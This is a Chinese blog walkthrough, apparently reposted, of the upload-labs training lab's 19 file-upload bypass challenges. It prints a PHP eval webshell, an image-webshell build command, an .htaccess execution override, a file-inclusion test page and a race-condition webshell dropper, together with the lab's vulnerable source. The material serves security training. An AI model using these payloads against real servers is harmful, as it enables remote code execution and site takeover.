当前位置:   article > 正文

文件上传漏洞upload-labs1-19关详解_upload-labs 第19关 apache解析

upload-labs 第19关 apache解析

目录

Pass-01 前端绕过

1.拿到题首先想到的是上传图片马,burp抓包修改文件名回php,然后用蚁剑连接

2.本pass在客户端使用js对不合法图片进行检查!,根据提示禁用浏览器使用Javascript*(或者删除前端JS验证代码),然后上传php木马

3.下载网页源代码,修改验证代码,添加php为可通过类型,在form标签里用action定位需要传送的url。

Pass-02 MIME验证

Pass-03 黑名单绕过

Pass-04 .htaccess绕过

1.上传htaccess文件,将jpg文件当成php代码执行(.htaccess这就是文件名)

2.同上根据源代码进行绕过文件名后缀

Pass-05 大小写绕过

1.和第4关比,本关没有进行大小写转换,可以尝试大小写绕过,如:.Php

2.分析源代码

Pass-06 空格绕过

1.和第四关比,本关没有收尾去关思路就是在文件后缀最后面添加空格,但由于windows特性,文件名后空格会被直接删除,不能直接上传.php后加空格,所以我们burp抓包再添加空格

2.分析源码

Pass-07 点绕过

Pass-08 ::$DATA绕过

1.本关少了去除字符串,那就在burp中抓包在文件名后加::$DATA

2.分析源码

Pass-09 点空格点绕过

Pass-10 双写绕过

Pass-11 目录可控(GET传参),%00截断

Pass-12 post传参,%00截断

Pass-13 图片头部检验

pass-14 getimagesize()图片马

Pass-15 exif_imagetype()图片马

Pass-16 二次渲染

Pass-17 条件竞争1

Pass-18 条件竞争2

Pass-19 %00截断


Pass-01 前端绕过

1.拿到题首先想到的是上传图片马,burp抓包修改文件名回php,然后用蚁剑连接

图片马制作:copy 1.png/b +1.php/a 2.png

php一句话木马:<?php eval($_POST['password']);?>

然后上传的文件路径在该网页的目录/upload/下

蚁剑连接:

2.本pass在客户端使用js对不合法图片进行检查!,根据提示禁用浏览器使用Javascript*(或者删除前端JS验证代码),然后上传php木马

3.下载网页源代码,修改验证代码,添加php为可通过类型,在form标签里用action定位需要传送的url。

注意:浏览器有缓存,开启无痕新页面

Pass-02 MIME验证

提示服务器对上传数据的MIME类型进行检验,我们可以上传php文件,然后burp抓包修改文件类型

通过源码可知,可修改文件类型为image/png、image/jpeg、image/jpg

Pass-03 黑名单绕过

提示禁止上传.asp|.aspx|.php|.jsp后缀文件,尝试用其他可执行php文件的后缀名进行绕过。如 .phtml .php5等,但是这里没有成功,需要修改apache配置文件

查看源代码:

分析:先文件名首位去空,删除文件名末尾的点,将空格后的后缀名传给$file_name,全部转换成小写,去除字符串::$DATA,再去尾部的空格,所以可以burp抓包,构造文件名后缀

“.php. . ”,php后面为点+空格+点+空格

Pass-04 .htaccess绕过

1.上传htaccess文件,将jpg文件当成php代码执行(.htaccess这就是文件名)

<FilesMatch "2222.jpg">

SetHandler application/x-httpd-php

</FilesMatch>

不行则在apache的httpd.conf里修改

再上传2222.jpg(由2222.php改写)

PHP代码:<?php phpinfo();?>

2.同上根据源代码进行绕过文件名后缀

同3

Pass-05 大小写绕过

1.和第4关比,本关没有进行大小写转换,可以尝试大小写绕过,如:.Php

2.分析源代码

".php. .",php后面为点空点

Pass-06 空格绕过

1.和第四关比,本关没有收尾去关思路就是在文件后缀最后面添加空格,但由于windows特性,文件名后空格会被直接删除,不能直接上传.php后加空格,所以我们burp抓包再添加空格

2.分析源码

php后面跟点空格,或者空格+点

Pass-07 点绕过

和第四关比,本关没有去除文件名末尾的点。和第六关一样,windows文件后缀名不能加“ . ”,一样使用burp抓包然后后缀加一个点。

Pass-08 ::$DATA绕过

在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名

1.本关少了去除字符串,那就在burp中抓包在文件名后加::$DATA

2.分析源码

php后点空点

Pass-09 点空格点绕过

  1. $file_name = trim($_FILES['upload_file']['name']);
  2. $file_name = deldot($file_name);//删除文件名末尾的点
  3. $file_ext = strrchr($file_name, '.');
  4. $file_ext = strtolower($file_ext); //转换为小写
  5. $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
  6. $file_ext = trim($file_ext); //首尾去空

在第四关的基础上,本关禁用了所有的可以解析的后缀,但是我们可以从源码中看出,没有进行循环校验,分析源码:先删除文件末尾的点,然后返回从点开始的后面的文件后缀,转换小写,去除字符串,去掉首尾空格,所以可以构建

“.php. .”,php后面为点(绕过)+空格(过trim)+点(过deldot)的格式

Pass-10 双写绕过

分析源码

  1. $file_name = trim($_FILES['upload_file']['name']);
  2. #去除文件名两边空格
  3. $file_name = str_ireplace($deny_ext,"", $file_name);
  4. #查到$deny_ext中的后缀名返回为空
  5. if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $file_name)) {
  6. $img_path = $UPLOAD_ADDR . '/' .$file_name;
  7. $is_upload = true;
  8. }

这里发现会把黑名单里的内容替换为空,且没有做循环验证,可以burp抓包双写绕过。成功上传

Pass-11 目录可控(GET传参),%00截断

  1. $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
  2. #rand(10,99)增加一个随机数,date("YmdHis")年月日时分秒

文件位置$img_path这个变量直接是拼接的,代表上传目录是可控的,可以使用 %00 截断后面的,上传由1.php改的1.jpg,burp抓包修改请求行文件位置为1.php%00。

00截断使用条件:

php版本小于5.3.4

php的magic_quotes_gpc为OFF状态

Pass-12 post传参,%00截断

和上一关比,只是改变了接受传参的方式,从get变成了post,post不会对%00进行解码,所以要对%00进行url解码,%00———>

这里解码可以在burp上输入%00,然后选中%00右键,然后如下图所示,然后转换后,结果如上图所示,像是空格。

Pass-13 图片头部检验

提示pass 检查图标内容开头2个字节!可以通过制作图片马的方式来绕过

上传成功后,还需要有可以将图片解析成php的功能才能成功连接,因为,合成的图片马,头部识别png,后缀名被改为png。图片马配合文件包含一起使用

我们可以写一个文件包含的文件放到upload-labs中

  1. ##include.php
  2. <?php
  3. /*
  4. 本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
  5. */
  6. header("Content-Type:text/html;charset=utf-8");
  7. $file = $_GET['file'];
  8. if(isset($file)){
  9. include $file;
  10. }else{
  11. show_source(__file__);
  12. }
  13. ?>

使用:

pass-14 getimagesize()图片马

本pass使用getimagesize()检查是否为图片文件!

分析源码:自定义函数模块,是校验文件后缀名是否为白名单里的内容,不是则返回false,后面主题就不能继续运行,还是上传图片马

Pass-15 exif_imagetype()图片马

看提示看到了exif_imagetype,利用php_exif来判断文件类型,用图片马绕过,方法同PASS-13

本关需要开启php_exif服务

Pass-16 二次渲染

  1. $is_upload = false;
  2. $msg = null;
  3. if (isset($_POST['submit'])){
  4. // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
  5. $filename = $_FILES['upload_file']['name'];
  6. $filetype = $_FILES['upload_file']['type'];
  7. $tmpname = $_FILES['upload_file']['tmp_name'];
  8. $target_path=$UPLOAD_ADDR.basename($filename);
  9. // 获得上传文件的扩展名
  10. $fileext= substr(strrchr($filename,"."),1);
  11. //判断文件后缀与类型,合法才进行上传操作
  12. if(($fileext == "jpg") && ($filetype=="image/jpeg")){
  13. if(move_uploaded_file($tmpname,$target_path))
  14. {
  15. //使用上传的图片生成新的图片
  16. $im = imagecreatefromjpeg($target_path);
  17. if($im == false){
  18. $msg = "该文件不是jpg格式的图片!";
  19. }else{
  20. //给新图片指定文件名
  21. srand(time());
  22. $newfilename = strval(rand()).".jpg";
  23. $newimagepath = $UPLOAD_ADDR.$newfilename;
  24. imagejpeg($im,$newimagepath);
  25. //显示二次渲染后的图片(使用用户上传图片生成的新图片)
  26. $img_path = $UPLOAD_ADDR.$newfilename;
  27. unlink($target_path);
  28. $is_upload = true;
  29. }
  30. }
  31. else
  32. {
  33. $msg = "上传失败!";
  34. }

分析源码,$target_path用basename()禁止修改文件目录,basename() 函数返回路径中的文件名部分。$fileext获取点后面的内容做后缀。

move_uploaded_file函数来做判断条件,如果成功将文件移动到$target_path,就会进入二次渲染的代码,反之上传失败.

imagecreatefromjpeg、imagecreatefrompng、imagecreatefromgif

imagecreatefromjpeg二次渲染它相当于是把原本属于图像数据的部分抓了出来,再用自己的API 或函数进行重新渲染在这个过程中非图像数据的部分直接就隔离开了。

这题可以先上传一张图片,再下载二次渲染后的图片,然后再在下载好的图片中添加一句话木马。

下图,左渲染后,右未渲染

我们在gif文件未被渲染的地方添加一句话就行

参考链接:文章

Pass-17 条件竞争1

条件竞争:条件竞争漏洞是一种服务器端的漏洞,由于服务器在处理不同请求时时并发进行的,因此处理不当会或者相关操作顺序设计的不合理时,将导致漏洞产生。

提示需要代码审计,分析源码

  1. $is_upload = false;
  2. $msg = null;
  3. if(isset($_POST['submit'])){
  4. $ext_arr = array('jpg','png','gif');#白名单
  5. $file_name = $_FILES['upload_file']['name'];#获取上传文件名
  6. $temp_file = $_FILES['upload_file']['tmp_name'];#临时文件名
  7. $file_ext = substr($file_name,strrpos($file_name,".")+1);#获取上传文件后缀名
  8. $upload_file = $UPLOAD_ADDR . '/' . $file_name;#文件存放目录
  9. if(move_uploaded_file($temp_file, $upload_file)){#如果文件不存在则放到upload_file
  10. if(in_array($file_ext,$ext_arr)){#如果文件后缀在白名单里,则继续
  11. $img_path = $UPLOAD_ADDR . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
  12. rename($upload_file, $img_path);重命名
  13. unlink($upload_file);
  14. $is_upload = true;
  15. }else{
  16. $msg = "只允许上传.jpg|.png|.gif类型文件!";
  17. unlink($upload_file);
  18. }
  19. }else{
  20. $msg = '上传失败!';
  21. }
  22. }

分析代码可知,是文件可以先上传,然后再判断文件后缀名是否在白名单里,然后再删除,所以我们可以上传1.php,只要在它被删除之前访问就行。我们可以用burp的intruder模块不断上传,然后我们不断访问新地址即可

操作过程:

然后就可以重复发送不带payload的数据包

木马可以上传一个生成其他木马的php文件如:

<?php fputs(fopen('Tony.php','w'),'<?php @eval($_POST["Tony"])?>');?>

参考:文章17、18关

Pass-18 条件竞争2

index.php调用了MyUpload上传类,使用了upload方法。执行的顺序:服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。

绕过方法和上一关的一样,但是这关在上传之前用了白名单来检测,所以只能上传图片马,用Apache解析漏洞或者是文件包含漏洞来解析一句话木马。

Apache解析漏洞只跟文件配置有关系,通过在白名单但是apache文件不能解析的文件名后缀,他就会解析前一个文件后缀,如:shell.php.7z,当然具体要看mime.types里的映射具体没有白名单中的哪些

参考文章

Pass-19 %00截断

发现move_uploaded_file()函数中的img_path是由post参数save_name控制的,因此可以在save_name利用00截断绕过,方法同pass-12

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/运维做开发/article/detail/979790
推荐阅读
相关标签
  

闽ICP备14008679号